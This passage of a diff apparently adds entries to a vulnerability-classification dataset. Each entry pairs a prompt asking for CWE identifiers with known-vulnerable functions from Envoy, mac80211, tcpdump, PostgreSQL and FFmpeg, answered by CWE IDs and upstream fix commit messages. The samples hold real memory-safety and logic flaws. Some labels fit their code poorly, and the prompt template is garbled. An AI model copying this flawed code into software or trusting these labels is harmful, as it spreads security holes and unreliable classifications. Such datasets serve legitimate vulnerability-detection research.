src/dfa/dead_rules.cc\" (the actual fix is to limit DFA size\nbut the test also has counted repetition with swapped bounds).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool Filter::convertRequestHeadersForInternalRedirect(Http::RequestHeaderMap& downstream_headers,\n                                                      const Http::HeaderEntry& internal_redirect,\n                                                      uint64_t status_code) {\n  if (!downstream_headers.Path()) {\n    ENVOY_STREAM_LOG(trace, \"no path in downstream_headers\", *callbacks_);\n    return false;\n  }\n\n  // Make sure the redirect response contains a URL to redirect to.\n  if (internal_redirect.value().getStringView().empty()) {\n    config_.stats_.passthrough_internal_redirect_bad_location_.inc();\n    return false;\n  }\n  Http::Utility::Url absolute_url;\n  if (!absolute_url.initialize(internal_redirect.value().getStringView(), false)) {\n    config_.stats_.passthrough_internal_redirect_bad_location_.inc();\n    return false;\n  }\n\n  const auto& policy = route_entry_->internalRedirectPolicy();\n  // Don't allow serving TLS responses over plaintext unless allowed by policy.\n  const bool scheme_is_http = schemeIsHttp(downstream_headers, *callbacks_->connection());\n  const bool target_is_http = absolute_url.scheme() == Http::Headers::get().SchemeValues.Http;\n  if (!policy.isCrossSchemeRedirectAllowed() && scheme_is_http != target_is_http) {\n    config_.stats_.passthrough_internal_redirect_unsafe_scheme_.inc();\n    return false;\n  }\n\n  const StreamInfo::FilterStateSharedPtr& filter_state = callbacks_->streamInfo().filterState();\n  // Make sure that performing the redirect won't result in exceeding the configured number of\n  // redirects allowed for this route.\n  if (!filter_state->hasData(NumInternalRedirectsFilterStateName)) {\n    filter_state->setData(\n        NumInternalRedirectsFilterStateName, std::make_shared(0),\n        StreamInfo::FilterState::StateType::Mutable, StreamInfo::FilterState::LifeSpan::Request);\n  }\n  StreamInfo::UInt32Accessor& num_internal_redirect =\n      filter_state->getDataMutable(NumInternalRedirectsFilterStateName);\n\n  if (num_internal_redirect.value() >= policy.maxInternalRedirects()) {\n    config_.stats_.passthrough_internal_redirect_too_many_redirects_.inc();\n    return false;\n  }\n  // Copy the old values, so they can be restored if the redirect fails.\n  const std::string original_host(downstream_headers.getHostValue());\n  const std::string original_path(downstream_headers.getPathValue());\n  const bool scheme_is_set = (downstream_headers.Scheme() != nullptr);\n  Cleanup restore_original_headers(\n      [&downstream_headers, original_host, original_path, scheme_is_set, scheme_is_http]() {\n        downstream_headers.setHost(original_host);\n        downstream_headers.setPath(original_path);\n        if (scheme_is_set) {\n          downstream_headers.setScheme(scheme_is_http ? Http::Headers::get().SchemeValues.Http\n                                                      : Http::Headers::get().SchemeValues.Https);\n        }\n      });\n\n  // Replace the original host, scheme and path.\n  downstream_headers.setScheme(absolute_url.scheme());\n  downstream_headers.setHost(absolute_url.hostAndPort());\n\n  auto path_and_query = absolute_url.pathAndQueryParams();\n  if (Runtime::runtimeFeatureEnabled(\"envoy.reloadable_features.http_reject_path_with_fragment\")) {\n    // Envoy treats internal redirect as a new request and will reject it if URI path\n    // contains #fragment. However the Location header is allowed to have #fragment in URI path. To\n    // prevent Envoy from rejecting internal redirect, strip the #fragment from Location URI if it\n    // is present.\n    auto fragment_pos = path_and_query.find('#');\n    path_and_query = path_and_query.substr(0, fragment_pos);\n  }\n  downstream_headers.setPath(path_and_query);\n\n  callbacks_->clearRouteCache();\n  const auto route = callbacks_->route();\n  // Don't allow a redirect to a non existing route.\n  if (!route) {\n    config_.stats_.passthrough_internal_redirect_no_route_.inc();\n    return false;\n  }\n\n  const auto& route_name = route->routeEntry()->routeName();\n  for (const auto& predicate : policy.predicates()) {\n    if (!predicate->acceptTargetRoute(*filter_state, route_name, !scheme_is_http,\n                                      !target_is_http)) {\n      config_.stats_.passthrough_internal_redirect_predicate_.inc();\n      ENVOY_STREAM_LOG(trace, \"rejecting redirect targeting {}, by {} predicate\", *callbacks_,\n                       route_name, predicate->name());\n      return false;\n    }\n  }\n\n  // See https://tools.ietf.org/html/rfc7231#section-6.4.4.\n  if (status_code == enumToInt(Http::Code::SeeOther) &&\n      downstream_headers.getMethodValue() != Http::Headers::get().MethodValues.Get &&\n      downstream_headers.getMethodValue() != Http::Headers::get().MethodValues.Head) {\n    downstream_headers.setMethod(Http::Headers::get().MethodValues.Get);\n    downstream_headers.remove(Http::Headers::get().ContentLength);\n    callbacks_->modifyDecodingBuffer([](Buffer::Instance& data) { data.drain(data.length()); });\n  }\n\n  num_internal_redirect.increment();\n  restore_original_headers.cancel();\n  // Preserve the original request URL for the second pass.\n  downstream_headers.setEnvoyOriginalUrl(absl::StrCat(scheme_is_http\n                                                          ? Http::Headers::get().SchemeValues.Http\n                                                          : Http::Headers::get().SchemeValues.Https,\n                                                      \"://\", original_host, original_path));\n  return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': '[1.18] CVE-2022-21655\n\nCrash with direct_response\n\nSigned-off-by: Otto van der Schaaf '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ieee80211_fragment(struct ieee80211_tx_data *tx,\n\t\t\t      struct sk_buff *skb, int hdrlen,\n\t\t\t      int frag_threshold)\n{\n\tstruct ieee80211_local *local = tx->local;\n\tstruct ieee80211_tx_info *info;\n\tstruct sk_buff *tmp;\n\tint per_fragm = frag_threshold - hdrlen - FCS_LEN;\n\tint pos = hdrlen + per_fragm;\n\tint rem = skb->len - hdrlen - per_fragm;\n\n\tif (WARN_ON(rem < 0))\n\t\treturn -EINVAL;\n\n\t/* first fragment was already added to queue by caller */\n\n\twhile (rem) {\n\t\tint fraglen = per_fragm;\n\n\t\tif (fraglen > rem)\n\t\t\tfraglen = rem;\n\t\trem -= fraglen;\n\t\ttmp = dev_alloc_skb(local->tx_headroom +\n\t\t\t\t    frag_threshold +\n\t\t\t\t    tx->sdata->encrypt_headroom +\n\t\t\t\t    IEEE80211_ENCRYPT_TAILROOM);\n\t\tif (!tmp)\n\t\t\treturn -ENOMEM;\n\n\t\t__skb_queue_tail(&tx->skbs, tmp);\n\n\t\tskb_reserve(tmp,\n\t\t\t    local->tx_headroom + tx->sdata->encrypt_headroom);\n\n\t\t/* copy control information */\n\t\tmemcpy(tmp->cb, skb->cb, sizeof(tmp->cb));\n\n\t\tinfo = IEEE80211_SKB_CB(tmp);\n\t\tinfo->flags &= ~(IEEE80211_TX_CTL_CLEAR_PS_FILT |\n\t\t\t\t IEEE80211_TX_CTL_FIRST_FRAGMENT);\n\n\t\tif (rem)\n\t\t\tinfo->flags |= IEEE80211_TX_CTL_MORE_FRAMES;\n\n\t\tskb_copy_queue_mapping(tmp, skb);\n\t\ttmp->priority = skb->priority;\n\t\ttmp->dev = skb->dev;\n\n\t\t/* copy header and data */\n\t\tmemcpy(skb_put(tmp, hdrlen), skb->data, hdrlen);\n\t\tmemcpy(skb_put(tmp, fraglen), skb->data + pos, fraglen);\n\n\t\tpos += fraglen;\n\t}\n\n\t/* adjust first fragment's length */\n\tskb->len = hdrlen + per_fragm;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'mac80211: fix fragmentation code, particularly for encryption\n\nThe \"new\" fragmentation code (since my rewrite almost 5 years ago)\nerroneously sets skb->len rather than using skb_trim() to adjust\nthe length of the first fragment after copying out all the others.\nThis leaves the skb tail pointer pointing to after where the data\noriginally ended, and thus causes the encryption MIC to be written\nat that point, rather than where it belongs: immediately after the\ndata.\n\nThe impact of this is that if software encryption is done, then\n a) encryption doesn't work for the first fragment, the connection\n    becomes unusable as the first fragment will never be properly\n    verified at the receiver, the MIC is practically guaranteed to\n    be wrong\n b) we leak up to 8 bytes of plaintext (!) of the packet out into\n    the air\n\nThis is only mitigated by the fact that many devices are capable\nof doing encryption in hardware, in which case this can't happen\nas the tail pointer is irrelevant in that case. Additionally,\nfragmentation is not used very frequently and would normally have\nto be configured manually.\n\nFix this by using skb_trim() properly.\n\nCc: stable@vger.kernel.org\nFixes: 2de8e0d999b8 (\"mac80211: rewrite fragmentation\")\nReported-by: Jouni Malinen \nSigned-off-by: Johannes Berg '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: cisco_autorp_print(netdissect_options *ndo,\n                   register const u_char *bp, register u_int len)\n{\n\tint type;\n\tint numrps;\n\tint hold;\n\n\tND_TCHECK(bp[0]);\n\tND_PRINT((ndo, \" auto-rp \"));\n\ttype = bp[0];\n\tswitch (type) {\n\tcase 0x11:\n\t\tND_PRINT((ndo, \"candidate-advert\"));\n\t\tbreak;\n\tcase 0x12:\n\t\tND_PRINT((ndo, \"mapping\"));\n\t\tbreak;\n\tdefault:\n\t\tND_PRINT((ndo, \"type-0x%02x\", type));\n\t\tbreak;\n\t}\n\n\tND_TCHECK(bp[1]);\n\tnumrps = bp[1];\n\n\tND_TCHECK2(bp[2], 2);\n\tND_PRINT((ndo, \" Hold \"));\n\thold = EXTRACT_16BITS(&bp[2]);\n\tif (hold)\n\t\tunsigned_relts_print(ndo, EXTRACT_16BITS(&bp[2]));\n\telse\n\t\tND_PRINT((ndo, \"FOREVER\"));\n\n\t/* Next 4 bytes are reserved. */\n\n\tbp += 8; len -= 8;\n\n\t/*XXX skip unless -v? */\n\n\t/*\n\t * Rest of packet:\n\t * numrps entries of the form:\n\t * 32 bits: RP\n\t * 6 bits: reserved\n\t * 2 bits: PIM version supported, bit 0 is \"supports v1\", 1 is \"v2\".\n\t * 8 bits: # of entries for this RP\n\t * each entry: 7 bits: reserved, 1 bit: negative,\n\t *\t       8 bits: mask 32 bits: source\n\t * lather, rinse, repeat.\n\t */\n\twhile (numrps--) {\n\t\tint nentries;\n\t\tchar s;\n\n\t\tND_TCHECK2(bp[0], 4);\n\t\tND_PRINT((ndo, \" RP %s\", ipaddr_string(ndo, bp)));\n\t\tND_TCHECK(bp[4]);\n\t\tswitch (bp[4] & 0x3) {\n\t\tcase 0: ND_PRINT((ndo, \" PIMv?\"));\n\t\t\tbreak;\n\t\tcase 1:\tND_PRINT((ndo, \" PIMv1\"));\n\t\t\tbreak;\n\t\tcase 2:\tND_PRINT((ndo, \" PIMv2\"));\n\t\t\tbreak;\n\t\tcase 3:\tND_PRINT((ndo, \" PIMv1+2\"));\n\t\t\tbreak;\n\t\t}\n\t\tif (bp[4] & 0xfc)\n\t\t\tND_PRINT((ndo, \" [rsvd=0x%02x]\", bp[4] & 0xfc));\n\t\tND_TCHECK(bp[5]);\n\t\tnentries = bp[5];\n\t\tbp += 6; len -= 6;\n\t\ts = ' ';\n\t\tfor (; nentries; nentries--) {\n\t\t\tND_TCHECK2(bp[0], 6);\n\t\t\tND_PRINT((ndo, \"%c%s%s/%d\", s, bp[0] & 1 ? \"!\" : \"\",\n\t\t\t          ipaddr_string(ndo, &bp[2]), bp[1]));\n\t\t\tif (bp[0] & 0x02) {\n\t\t\t\tND_PRINT((ndo, \" bidir\"));\n\t\t\t}\n\t\t\tif (bp[0] & 0xfc) {\n\t\t\t\tND_PRINT((ndo, \"[rsvd=0x%02x]\", bp[0] & 0xfc));\n\t\t\t}\n\t\t\ts = ',';\n\t\t\tbp += 6; len -= 6;\n\t\t}\n\t}\n\treturn;\n\ntrunc:\n\tND_PRINT((ndo, \"[|autorp]\"));\n\treturn;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-13030/PIM: Redo bounds checks and add length checks.\n\nUse ND_TCHECK macros to do bounds checking, and add length checks before\nthe bounds checks.\n\nAdd a bounds check that the review process found was missing.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry,\nSecT/TU Berlin.\n\nAdd a test using the capture file supplied by the reporter(s), modified\nso the capture file won't be rejected as an invalid capture.\n\nUpdate one test output file to reflect the changes.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: CreateStatistics(CreateStatsStmt *stmt)\n{\n\tint16\t\tattnums[STATS_MAX_DIMENSIONS];\n\tint\t\t\tnumcols = 0;\n\tchar\t   *namestr;\n\tNameData\tstxname;\n\tOid\t\t\tstatoid;\n\tOid\t\t\tnamespaceId;\n\tOid\t\t\tstxowner = GetUserId();\n\tHeapTuple\thtup;\n\tDatum\t\tvalues[Natts_pg_statistic_ext];\n\tbool\t\tnulls[Natts_pg_statistic_ext];\n\tint2vector *stxkeys;\n\tRelation\tstatrel;\n\tRelation\trel = NULL;\n\tOid\t\t\trelid;\n\tObjectAddress parentobject,\n\t\t\t\tmyself;\n\tDatum\t\ttypes[2];\t\t/* one for each possible type of statistic */\n\tint\t\t\tntypes;\n\tArrayType  *stxkind;\n\tbool\t\tbuild_ndistinct;\n\tbool\t\tbuild_dependencies;\n\tbool\t\trequested_type = false;\n\tint\t\t\ti;\n\tListCell   *cell;\n\n\tAssert(IsA(stmt, CreateStatsStmt));\n\n\t/*\n\t * Examine the FROM clause.  Currently, we only allow it to be a single\n\t * simple table, but later we'll probably allow multiple tables and JOIN\n\t * syntax.  The grammar is already prepared for that, so we have to check\n\t * here that what we got is what we can support.\n\t */\n\tif (list_length(stmt->relations) != 1)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t errmsg(\"only a single relation is allowed in CREATE STATISTICS\")));\n\n\tforeach(cell, stmt->relations)\n\t{\n\t\tNode\t   *rln = (Node *) lfirst(cell);\n\n\t\tif (!IsA(rln, RangeVar))\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t errmsg(\"only a single relation is allowed in CREATE STATISTICS\")));\n\n\t\t/*\n\t\t * CREATE STATISTICS will influence future execution plans but does\n\t\t * not interfere with currently executing plans.  So it should be\n\t\t * enough to take only ShareUpdateExclusiveLock on relation,\n\t\t * conflicting with ANALYZE and other DDL that sets statistical\n\t\t * information, but not with normal queries.\n\t\t */\n\t\trel = relation_openrv((RangeVar *) rln, ShareUpdateExclusiveLock);\n\n\t\t/* Restrict to allowed relation types */\n\t\tif (rel->rd_rel->relkind != RELKIND_RELATION &&\n\t\t\trel->rd_rel->relkind != RELKIND_MATVIEW &&\n\t\t\trel->rd_rel->relkind != RELKIND_FOREIGN_TABLE &&\n\t\t\trel->rd_rel->relkind != RELKIND_PARTITIONED_TABLE)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_WRONG_OBJECT_TYPE),\n\t\t\t\t\t errmsg(\"relation \\\"%s\\\" is not a table, foreign table, or materialized view\",\n\t\t\t\t\t\t\tRelationGetRelationName(rel))));\n\n\t\t/* You must own the relation to create stats on it */\n\t\tif (!pg_class_ownercheck(RelationGetRelid(rel), stxowner))\n\t\t\taclcheck_error(ACLCHECK_NOT_OWNER, get_relkind_objtype(rel->rd_rel->relkind),\n\t\t\t\t\t\t   RelationGetRelationName(rel));\n\n\t\t/* Creating statistics on system catalogs is not allowed */\n\t\tif (!allowSystemTableMods && IsSystemRelation(rel))\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),\n\t\t\t\t\t errmsg(\"permission denied: \\\"%s\\\" is a system catalog\",\n\t\t\t\t\t\t\tRelationGetRelationName(rel))));\n\t}\n\n\tAssert(rel);\n\trelid = RelationGetRelid(rel);\n\n\t/*\n\t * If the node has a name, split it up and determine creation namespace.\n\t * If not (a possibility not considered by the grammar, but one which can\n\t * occur via the \"CREATE TABLE ... (LIKE)\" command), then we put the\n\t * object in the same namespace as the relation, and cons up a name for\n\t * it.\n\t */\n\tif (stmt->defnames)\n\t\tnamespaceId = QualifiedNameGetCreationNamespace(stmt->defnames,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t&namestr);\n\telse\n\t{\n\t\tnamespaceId = RelationGetNamespace(rel);\n\t\tnamestr = ChooseExtendedStatisticName(RelationGetRelationName(rel),\n\t\t\t\t\t\t\t\t\t\t\t  ChooseExtendedStatisticNameAddition(stmt->exprs),\n\t\t\t\t\t\t\t\t\t\t\t  \"stat\",\n\t\t\t\t\t\t\t\t\t\t\t  namespaceId);\n\t}\n\tnamestrcpy(&stxname, namestr);\n\n\t/*\n\t * Deal with the possibility that the statistics object already exists.\n\t */\n\tif (SearchSysCacheExists2(STATEXTNAMENSP,\n\t\t\t\t\t\t\t  CStringGetDatum(namestr),\n\t\t\t\t\t\t\t  ObjectIdGetDatum(namespaceId)))\n\t{\n\t\tif (stmt->if_not_exists)\n\t\t{\n\t\t\tereport(NOTICE,\n\t\t\t\t\t(errcode(ERRCODE_DUPLICATE_OBJECT),\n\t\t\t\t\t errmsg(\"statistics object \\\"%s\\\" already exists, skipping\",\n\t\t\t\t\t\t\tnamestr)));\n\t\t\trelation_close(rel, NoLock);\n\t\t\treturn InvalidObjectAddress;\n\t\t}\n\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_DUPLICATE_OBJECT),\n\t\t\t\t errmsg(\"statistics object \\\"%s\\\" already exists\", namestr)));\n\t}\n\n\t/*\n\t * Currently, we only allow simple column references in the expression\n\t * list.  That will change someday, and again the grammar already supports\n\t * it so we have to enforce restrictions here.  For now, we can convert\n\t * the expression list to a simple array of attnums.  While at it, enforce\n\t * some constraints.\n\t */\n\tforeach(cell, stmt->exprs)\n\t{\n\t\tNode\t   *expr = (Node *) lfirst(cell);\n\t\tColumnRef  *cref;\n\t\tchar\t   *attname;\n\t\tHeapTuple\tatttuple;\n\t\tForm_pg_attribute attForm;\n\t\tTypeCacheEntry *type;\n\n\t\tif (!IsA(expr, ColumnRef))\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t errmsg(\"only simple column references are allowed in CREATE STATISTICS\")));\n\t\tcref = (ColumnRef *) expr;\n\n\t\tif (list_length(cref->fields) != 1)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t errmsg(\"only simple column references are allowed in CREATE STATISTICS\")));\n\t\tattname = strVal((Value *) linitial(cref->fields));\n\n\t\tatttuple = SearchSysCacheAttName(relid, attname);\n\t\tif (!HeapTupleIsValid(atttuple))\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_UNDEFINED_COLUMN),\n\t\t\t\t\t errmsg(\"column \\\"%s\\\" does not exist\",\n\t\t\t\t\t\t\tattname)));\n\t\tattForm = (Form_pg_attribute) GETSTRUCT(atttuple);\n\n\t\t/* Disallow use of system attributes in extended stats */\n\t\tif (attForm->attnum <= 0)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t errmsg(\"statistics creation on system columns is not supported\")));\n\n\t\t/* Disallow data types without a less-than operator */\n\t\ttype = lookup_type_cache(attForm->atttypid, TYPECACHE_LT_OPR);\n\t\tif (type->lt_opr == InvalidOid)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t errmsg(\"column \\\"%s\\\" cannot be used in statistics because its type %s has no default btree operator class\",\n\t\t\t\t\t\t\tattname, format_type_be(attForm->atttypid))));\n\n\t\t/* Make sure no more than STATS_MAX_DIMENSIONS columns are used */\n\t\tif (numcols >= STATS_MAX_DIMENSIONS)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_TOO_MANY_COLUMNS),\n\t\t\t\t\t errmsg(\"cannot have more than %d columns in statistics\",\n\t\t\t\t\t\t\tSTATS_MAX_DIMENSIONS)));\n\n\t\tattnums[numcols] = attForm->attnum;\n\t\tnumcols++;\n\t\tReleaseSysCache(atttuple);\n\t}\n\n\t/*\n\t * Check that at least two columns were specified in the statement. The\n\t * upper bound was already checked in the loop above.\n\t */\n\tif (numcols < 2)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_INVALID_OBJECT_DEFINITION),\n\t\t\t\t errmsg(\"extended statistics require at least 2 columns\")));\n\n\t/*\n\t * Sort the attnums, which makes detecting duplicates somewhat easier, and\n\t * it does not hurt (it does not affect the efficiency, unlike for\n\t * indexes, for example).\n\t */\n\tqsort(attnums, numcols, sizeof(int16), compare_int16);\n\n\t/*\n\t * Check for duplicates in the list of columns. The attnums are sorted so\n\t * just check consecutive elements.\n\t */\n\tfor (i = 1; i < numcols; i++)\n\t{\n\t\tif (attnums[i] == attnums[i - 1])\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_DUPLICATE_COLUMN),\n\t\t\t\t\t errmsg(\"duplicate column name in statistics definition\")));\n\t}\n\n\t/* Form an int2vector representation of the sorted column list */\n\tstxkeys = buildint2vector(attnums, numcols);\n\n\t/*\n\t * Parse the statistics kinds.\n\t */\n\tbuild_ndistinct = false;\n\tbuild_dependencies = false;\n\tforeach(cell, stmt->stat_types)\n\t{\n\t\tchar\t   *type = strVal((Value *) lfirst(cell));\n\n\t\tif (strcmp(type, \"ndistinct\") == 0)\n\t\t{\n\t\t\tbuild_ndistinct = true;\n\t\t\trequested_type = true;\n\t\t}\n\t\telse if (strcmp(type, \"dependencies\") == 0)\n\t\t{\n\t\t\tbuild_dependencies = true;\n\t\t\trequested_type = true;\n\t\t}\n\t\telse\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t\t errmsg(\"unrecognized statistics kind \\\"%s\\\"\",\n\t\t\t\t\t\t\ttype)));\n\t}\n\t/* If no statistic type was specified, build them all. */\n\tif (!requested_type)\n\t{\n\t\tbuild_ndistinct = true;\n\t\tbuild_dependencies = true;\n\t}\n\n\t/* construct the char array of enabled statistic types */\n\tntypes = 0;\n\tif (build_ndistinct)\n\t\ttypes[ntypes++] = CharGetDatum(STATS_EXT_NDISTINCT);\n\tif (build_dependencies)\n\t\ttypes[ntypes++] = CharGetDatum(STATS_EXT_DEPENDENCIES);\n\tAssert(ntypes > 0 && ntypes <= lengthof(types));\n\tstxkind = construct_array(types, ntypes, CHAROID, 1, true, 'c');\n\n\t/*\n\t * Everything seems fine, so let's build the pg_statistic_ext tuple.\n\t */\n\tmemset(values, 0, sizeof(values));\n\tmemset(nulls, false, sizeof(nulls));\n\tvalues[Anum_pg_statistic_ext_stxrelid - 1] = ObjectIdGetDatum(relid);\n\tvalues[Anum_pg_statistic_ext_stxname - 1] = NameGetDatum(&stxname);\n\tvalues[Anum_pg_statistic_ext_stxnamespace - 1] = ObjectIdGetDatum(namespaceId);\n\tvalues[Anum_pg_statistic_ext_stxowner - 1] = ObjectIdGetDatum(stxowner);\n\tvalues[Anum_pg_statistic_ext_stxkeys - 1] = PointerGetDatum(stxkeys);\n\tvalues[Anum_pg_statistic_ext_stxkind - 1] = PointerGetDatum(stxkind);\n\n\t/* no statistics built yet */\n\tnulls[Anum_pg_statistic_ext_stxndistinct - 1] = true;\n\tnulls[Anum_pg_statistic_ext_stxdependencies - 1] = true;\n\n\t/* insert it into pg_statistic_ext */\n\tstatrel = heap_open(StatisticExtRelationId, RowExclusiveLock);\n\thtup = heap_form_tuple(statrel->rd_att, values, nulls);\n\tstatoid = CatalogTupleInsert(statrel, htup);\n\theap_freetuple(htup);\n\trelation_close(statrel, RowExclusiveLock);\n\n\t/*\n\t * Invalidate relcache so that others see the new statistics object.\n\t */\n\tCacheInvalidateRelcache(rel);\n\n\trelation_close(rel, NoLock);\n\n\t/*\n\t * Add an AUTO dependency on each column used in the stats, so that the\n\t * stats object goes away if any or all of them get dropped.\n\t */\n\tObjectAddressSet(myself, StatisticExtRelationId, statoid);\n\n\tfor (i = 0; i < numcols; i++)\n\t{\n\t\tObjectAddressSubSet(parentobject, RelationRelationId, relid, attnums[i]);\n\t\trecordDependencyOn(&myself, &parentobject, DEPENDENCY_AUTO);\n\t}\n\n\t/*\n\t * Also add dependencies on namespace and owner.  These are required\n\t * because the stats object might have a different namespace and/or owner\n\t * than the underlying table(s).\n\t */\n\tObjectAddressSet(parentobject, NamespaceRelationId, namespaceId);\n\trecordDependencyOn(&myself, &parentobject, DEPENDENCY_NORMAL);\n\n\trecordDependencyOnOwner(StatisticExtRelationId, statoid, stxowner);\n\n\t/*\n\t * XXX probably there should be a recordDependencyOnCurrentExtension call\n\t * here too, but we'd have to add support for ALTER EXTENSION ADD/DROP\n\t * STATISTICS, which is more work than it seems worth.\n\t */\n\n\t/* Add any requested comment */\n\tif (stmt->stxcomment != NULL)\n\t\tCreateComments(statoid, StatisticExtRelationId, 0,\n\t\t\t\t\t   stmt->stxcomment);\n\n\t/* Return stats object's address */\n\treturn myself;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-94'], 'message': 'In extensions, don't replace objects not belonging to the extension.\n\nPreviously, if an extension script did CREATE OR REPLACE and there was\nan existing object not belonging to the extension, it would overwrite\nthe object and adopt it into the extension.  This is problematic, first\nbecause the overwrite is probably unintentional, and second because we\ndidn't change the object's ownership.  Thus a hostile user could create\nan object in advance of an expected CREATE EXTENSION command, and would\nthen have ownership rights on an extension object, which could be\nmodified for trojan-horse-type attacks.\n\nHence, forbid CREATE OR REPLACE of an existing object unless it already\nbelongs to the extension.  (Note that we've always forbidden replacing\nan object that belongs to some other extension; only the behavior for\npreviously-free-standing objects changes here.)\n\nFor the same reason, also fail CREATE IF NOT EXISTS when there is\nan existing object that doesn't belong to the extension.\n\nOur thanks to Sven Klemm for reporting this problem.\n\nSecurity: CVE-2022-2625'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int dwa_uncompress(EXRContext *s, const uint8_t *src, int compressed_size,\n                          int uncompressed_size, EXRThreadData *td)\n{\n    int64_t version, lo_usize, lo_size;\n    int64_t ac_size, dc_size, rle_usize, rle_csize, rle_raw_size;\n    int64_t ac_count, dc_count, ac_compression;\n    const int dc_w = td->xsize >> 3;\n    const int dc_h = td->ysize >> 3;\n    GetByteContext gb, agb;\n    int skip, ret;\n\n    if (compressed_size <= 88)\n        return AVERROR_INVALIDDATA;\n\n    version = AV_RL64(src + 0);\n    if (version != 2)\n        return AVERROR_INVALIDDATA;\n\n    lo_usize = AV_RL64(src + 8);\n    lo_size = AV_RL64(src + 16);\n    ac_size = AV_RL64(src + 24);\n    dc_size = AV_RL64(src + 32);\n    rle_csize = AV_RL64(src + 40);\n    rle_usize = AV_RL64(src + 48);\n    rle_raw_size = AV_RL64(src + 56);\n    ac_count = AV_RL64(src + 64);\n    dc_count = AV_RL64(src + 72);\n    ac_compression = AV_RL64(src + 80);\n\n    if (compressed_size < 88LL + lo_size + ac_size + dc_size + rle_csize)\n        return AVERROR_INVALIDDATA;\n\n    bytestream2_init(&gb, src + 88, compressed_size - 88);\n    skip = bytestream2_get_le16(&gb);\n    if (skip < 2)\n        return AVERROR_INVALIDDATA;\n\n    bytestream2_skip(&gb, skip - 2);\n\n    if (lo_size > 0) {\n        if (lo_usize > uncompressed_size)\n            return AVERROR_INVALIDDATA;\n        bytestream2_skip(&gb, lo_size);\n    }\n\n    if (ac_size > 0) {\n        unsigned long dest_len = ac_count * 2LL;\n        GetByteContext agb = gb;\n\n        if (ac_count > 3LL * td->xsize * s->scan_lines_per_block)\n            return AVERROR_INVALIDDATA;\n\n        av_fast_padded_malloc(&td->ac_data, &td->ac_size, dest_len);\n        if (!td->ac_data)\n            return AVERROR(ENOMEM);\n\n        switch (ac_compression) {\n        case 0:\n            ret = huf_uncompress(s, td, &agb, (int16_t *)td->ac_data, ac_count);\n            if (ret < 0)\n                return ret;\n            break;\n        case 1:\n            if (uncompress(td->ac_data, &dest_len, agb.buffer, ac_size) != Z_OK ||\n                dest_len != ac_count * 2LL)\n                return AVERROR_INVALIDDATA;\n            break;\n        default:\n            return AVERROR_INVALIDDATA;\n        }\n\n        bytestream2_skip(&gb, ac_size);\n    }\n\n    if (dc_size > 0) {\n        unsigned long dest_len = dc_count * 2LL;\n        GetByteContext agb = gb;\n\n        if (dc_count > (6LL * td->xsize * td->ysize + 63) / 64)\n            return AVERROR_INVALIDDATA;\n\n        av_fast_padded_malloc(&td->dc_data, &td->dc_size, FFALIGN(dest_len, 64) * 2);\n        if (!td->dc_data)\n            return AVERROR(ENOMEM);\n\n        if (uncompress(td->dc_data + FFALIGN(dest_len, 64), &dest_len, agb.buffer, dc_size) != Z_OK ||\n            (dest_len != dc_count * 2LL))\n            return AVERROR_INVALIDDATA;\n\n        s->dsp.predictor(td->dc_data + FFALIGN(dest_len, 64), dest_len);\n        s->dsp.reorder_pixels(td->dc_data, td->dc_data + FFALIGN(dest_len, 64), dest_len);\n\n        bytestream2_skip(&gb, dc_size);\n    }\n\n    if (rle_raw_size > 0 && rle_csize > 0 && rle_usize > 0) {\n        unsigned long dest_len = rle_usize;\n\n        av_fast_padded_malloc(&td->rle_data, &td->rle_size, rle_usize);\n        if (!td->rle_data)\n            return AVERROR(ENOMEM);\n\n        